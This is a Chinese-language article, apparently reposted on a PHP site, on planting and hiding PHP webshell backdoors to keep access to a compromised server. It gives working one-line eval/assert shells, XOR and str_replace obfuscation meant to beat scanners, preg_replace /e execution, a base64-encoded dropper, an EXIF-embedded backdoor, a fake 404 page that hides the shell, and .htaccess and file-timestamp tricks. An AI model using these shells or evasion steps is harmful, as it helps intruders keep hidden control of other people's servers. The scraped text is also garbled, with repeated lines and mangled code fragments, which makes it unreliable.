首頁  >  文章  >  後端開發  >  PHP後門隱藏與維持技巧

PHP後門隱藏與維持技巧

WBOY
WBOY原創
2016-08-08 09:21:231380瀏覽

在一個成功的測試後,通常會想讓特權保持的更久些.留後門的工作就顯得至關重要,通常佈設的後門包括但不限於數據庫權限,WEB權限,系統用戶權限等等.此文則對大眾後門隱藏的一些思路做科普。

AD:

0×00前言

在一個成功的測試後,通常會想讓特權保持的更久些.留後門的工作就顯得至關重要,通常佈設的後門包括但不限於數據庫權限,WEB權限,系統使用者權限等等.此文則對大眾後門隱藏的一些思路做科普.

以PHP-WEBBACKDOOR為例,拋磚引玉

一個最常見的一句話後門可能寫作這樣

  1. eval($_POST['cmd']);?> 

或這樣

  1. 或這樣
  2. _ ?> 

當然,這僅是調用的函數不同,關於PHP禁用的函數請在php.ini: disable_functions 中尋找.

但是運維直觀尋找我們shell的方式也有很多,如

但是運維直觀尋找我們shell的方式也有很多,如

透過檔案名稱/修改時間/大小,檔案備份比對發現異常

◆透過WEBSHELL後門掃描腳本發現,如Scanbackdoor.php/Pecker/shelldetect.php以及各種掃描器等等

◆透過Access.log訪問日誌發現後門所在

◆又或者,我們的測試一句話還要被WAF攔一下,再來個警告日誌,等等

針對常見的檢測方式,總結以下七常用手法對shell進行隱藏

0× 01規避

看看各種掃描後門的程式碼就知道,留一個眾人皆知,人人喊打的關鍵字在shell中是萬萬不能的

◆常見的關鍵字如:

◆常見的關鍵字如:系統指令執行: system, passthru, shell_exec, exec, popen, proc_open

    ◆程式碼執行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot64_decode, gzinflate, gzuncompress, file_get_contents, file_put_contents, fputs, fwrite
  1. 過去有朋友機智的使用$_POST[0]($_POST[1])來執行命令,
  2. 過去有朋友機智的使用$_POST[0]($_POST[1])來執行命令,過去有朋友機智的使用$_POST[0]($_POST[1])來執行命令,過去有朋友機智的使用$_POST[0]($_POST[1])來執行命令, tudouya 同學在FREEBUF上給出[一種構造技巧](http://www.freebuf.com/articles/web/33824.html)利用
  3. @$_++++@$_++++; // $_ = 1  
  4. $__=("#"^"|"); // $__ = _   "~"); 
  5. // _P  
  6. $__.=("/"^"`");
  7. "|"^
  8. "/"); // _POS  $__.=(
  9. "{"^
  10. "/"); $__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  
  11. ?
  12. 構造生成,當然,嫌太直觀可以寫作這樣$_++;$__=("#"^"|").("."^"~ ").("/"^
  13. "`").(
  14. "|"^
  15. "/").(
"{"^

"/");@${

$__}[!
    $ _](${
  1. $__}[$_]);?> ”免殺」shell樣本就出現了執行無誤,且繞過普通掃描器,也可依賴之寫新的臨時shell 0×02特性
 

0×02特性

 

0×02特性

有趣的手法.借用php在處理變數時的語法特性,會分析雙引號中的資料是否含有變數(並解析其值)

eg.:

${@

eval(phpinfo())} 

${@
    eval(phpinfo())} 
  1. {}可解析雙引號內的變數內容,@保持出錯後繼續執行

然後就可以大搖大擺的開始構造隱藏後門了,但此處構造欲再藉力於函數引起的命令執行,沒錯,就是preg_replace

"//e",
  • $_POST['cmd'],"");?> 玩法這已經進了器黑名單,簡單修改下
    1. function funfunc($str){}  
    2. echo puncreg_replace(I"/( ")', <span>$_POST[<span>"cmd"]);  <span><span></span></span></span></span> ?> 
    3. {對正的phpinfo()}}傳入funfunc時引起了程式碼執行

    funfunc(

    "{${phpinfo()}}") 

    另一種方法
    另一種方法

      $_GET['cmd']."";");?> 

    0×0333包含在內的方法包含在內的方法只是包含也有技巧

    普通文件包含可能僅僅是一個include包含某個txt或jpg,甚至直接留一個包含漏洞,但掃描器也容易發現,多出的包含文件也易被發現

    看此腳本

        
      if(@isset(
    1. $_GET[content]))  
    2.  ME','w');  
    3.     file_put_contents('README',"
    4.   
    5.     fclose( $fp);  
    6.     require 'README';}由於file_put_contents等函數過於敏感,也是很容易被掃描發現編碼產生的方式創建shell,隨訪問而生成.
    7. fputs(隨訪問而產生.fputs(fopen(base64_decode('cGx1Z2120Gx1Z2' base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));;  

    ?文件也要做簡單的隱藏以躲過查殺.

    當然對於啟發式之類的新概念就不考慮了

    在這種方式也滿足不了需求的情況下,機智的攻擊者又重拾圖片

      php 
    1. $exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],''); 參考:一種隱藏在JPG圖片EXIF中的後門
    2. 這次不必再簡單的copy /b生成圖片馬了,借用preg_replace執行文件的特定標誌一樣可行

    可能會提示Call to undefined function exif_read_data()

    需要修改php.ini, extension=php_exif.dll

    將其載入順序改為extension=php_mbstring.dll的後面

    1. 借助了preg_replace e參數,依賴了php的變量解析執行,又使用了base64編碼,最後依賴文件標識將一個完整的shell拼合,算是給初涉後門隱藏的童鞋一個小提醒當然,只要有包含點,包含文件的形式是多樣的,甚至於包含error_log(雖然可能要考慮閉合),只有想不到…0×04隱匿為了不讓訪問者發現後門的存在,機智的安全研究員也會混淆視聽故弄玄虛
      1. HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  
      2.     
      3.     
      4.     
      5.     
      6.       
      7.     

        Not Found

         
      8.     

         

      9.       
      10.     @preg_replace("/[checksql]/e",$_POST['cmd'],"saft");  ,瀏覽頁面已經開始偽裝404以迷惑視聽了
      但躲得過訪問者也躲不過日誌分析,為更好的隱藏在大量日誌中,構造如下腳本
    2.   HTTP/1.1 404');  

          ob_start();  
      1.     @
      2. fputs(
      3. fopen(p64_de decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));  
      4.     ob_end_clean();  ?>  訪問 0×05混淆
      5. 用過weevely工具的童鞋應該知道,其產生的免殺shell像這樣
          

      $penh=

      " kpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";  

          

      $kthe=

      "JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";

      "w",

      "",

      "stwrw_wrwepwlwawcwe");  
      1.     cmwmmmm LCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";  
      2.     $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo smgv = $ftdf(
      3. "f", 
      4. "", "bfafsfef6f4_fdfefcodfe");   ftdf("l","","lclrlelaltel_functlilon"); 
      5. =  ("gi",  "", 
      6. $zrmt.
      7. $kthe.$wmmi.$penh))); $rdwm();  
      8. ? 終端下連接後像這樣Ps:截圖忘記修改終端編碼了:(
      9. 其免殺方式在於,在固定區域生成隨機名稱變量,後借助str_replace拼合base64_decode,執行命令的過程
      10. 當然在程式碼層面混淆視聽以躲過掃描器更常用的混淆視聽的方法:◆修改文件時間◆改名融入上傳後所在資料夾,讓人無法直觀看出文件時間◆文件大小的偽裝處理(至少看起大小像正常腳本)
      11. ◆選好藏身路徑並儘量少的訪問
      12. ◆畸形目錄%20關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的
      0 ×06解析

      利用.htaccess,加入解析後門

      如:

      AddType   application/x-httpd-php jp  

      0×07雜糅

      總結以上方法,大部分無非是一個構造漏洞的過程,漏洞構造的代碼能有多奇葩,後門就可以多奇葩.可以寫纖細婉約的,也可以搞簡單粗暴的,只是適用場合不同而已.如能很好的融合思路,構造自己的隱藏shell想來亦非難事.以上僅為總結經驗之談,各位有有趣的想法還望不吝賜教.

      以上就介紹了PHP後門隱藏與維持技巧,包括了方面的內容,希望對PHP教程有興趣的朋友有所幫助。

    陳述:
    本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn